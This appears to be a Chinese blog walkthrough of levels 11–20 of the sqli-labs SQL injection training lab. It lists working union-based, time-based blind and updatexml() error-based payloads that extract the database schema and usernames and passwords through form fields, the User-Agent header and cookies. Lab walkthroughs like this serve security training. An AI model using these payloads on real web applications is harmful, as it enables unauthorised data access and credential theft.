11-20关都为post传递,我们可以用burrp_suit来进行抓包和改包,也可以用hackbar来进行注入。
第十一关
1.寻找闭合方式
先输入1' or 1=1#
发现登录成功
则说明闭合方式为单引号闭合。
2.看有多少个字段
输入-1' order by 3#
发现
则说明有两个字段。
3.来使用联合注入爆数据库名,表名,用户。
(1)爆数据库
-1' union select 1,database()#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
-1' union select (select group_concat(username) from users), (select group_concat(password) from users)#
第十二关
1.寻找闭合方式
经过尝试发现输入1") or 1=1#
时
出现
说明这一关闭合方式为 ") 闭合。
其他请参考第十一关。
第十三关
这一关为')
闭合型,但是没有回显,可以用时间延迟型注入
参考第五关。
第十四关
为”
闭合型
当输入1" or 1=1 #
无回显,所以使用时间延迟型注入。
第十五关
单引号闭合,时间延迟型注入。
(1)爆库名
uname=admin' and if(length(database())=8,sleep(5),1)--+
uname=admin' and if(left(database(),1)='s',sleep(5),1)
(2)爆表
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
(3)爆字段
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
(4)爆值
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#
第十六关
为 ") 型注入,没有回显使用延迟型注入。
代码参考第十五关。
第十七关
此关和前边几关不一样,这一关你会发现username被过滤,这时该怎么办。
这个自定义函数把username过滤。
substr()函数截取字符串15个字符。
:补充
截取字符串的三个函数;
三大法宝:mid(),substr(),left()
mid()函数;
此函数为截取字符串一部分。MID(column_name,start,[length])
参数 描述column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID () 函数返回剩余文本。
例如;
mid(database(),1,1);
截取数据库名的第一个字母;
substr同上;
详情https://zhuanlan.zhihu.com/p/40286215
get_magic_quotes_gpc()函数php的内置函数判断环境变量magic_quotes_gpc是否打开,如果没打开说明php默认转义特殊字符的函数未运行,手动转义特殊字符。stripslashes()函数。
这时候用户账号被过滤,但是密码并没有被过滤。所以可以考虑从password入手,
1.首先输入正确的用户名。使用updatexml()函数过滤。
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数,
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
原文链接:https://blog.csdn.net/weixin_43733035/article/details/86561654
第一步爆数据库名
a' or updatexml(1,concat('#',(select database())),1)#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
'r updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#
第十八关
这一关经过尝试发现除了输入正确的账号输入其他语句都会显示
而当输入正确的账号和密码会出现
使用burp suite抓一下包,修改头部中的 user-agent的值。
抓到包之后修改下面图片对应的。
接下来是注入的语句
显然它是一个增加语句,我们使用updatexml()函数来注入,
语句原型: ’ or updatexml(1,concat(’#’,(clause),’#’),1),1,1)#
clase为想要查询的子句;
(1)爆数据库
' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#
(2)爆表名
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#
(3)爆字段名
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#
(4)爆用户
' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#
12
然后通过修改limit后面的数值,来查询每个用户的账号和密码。
第十九关
第十九关方法基本和第十八关一样注入原型语句为
' or updatexml(1,concat('#',(clause),'#'),1),1)#
第二十关
输入正确的用户名和密码后页面变为,
经过尝试cookie可以注入,方法见18关。
' or updatexml(1,concat('#',(select database()),'#'),1)#
感谢大佬博客https://blog.csdn.net/jinhezhai/article/details/103924833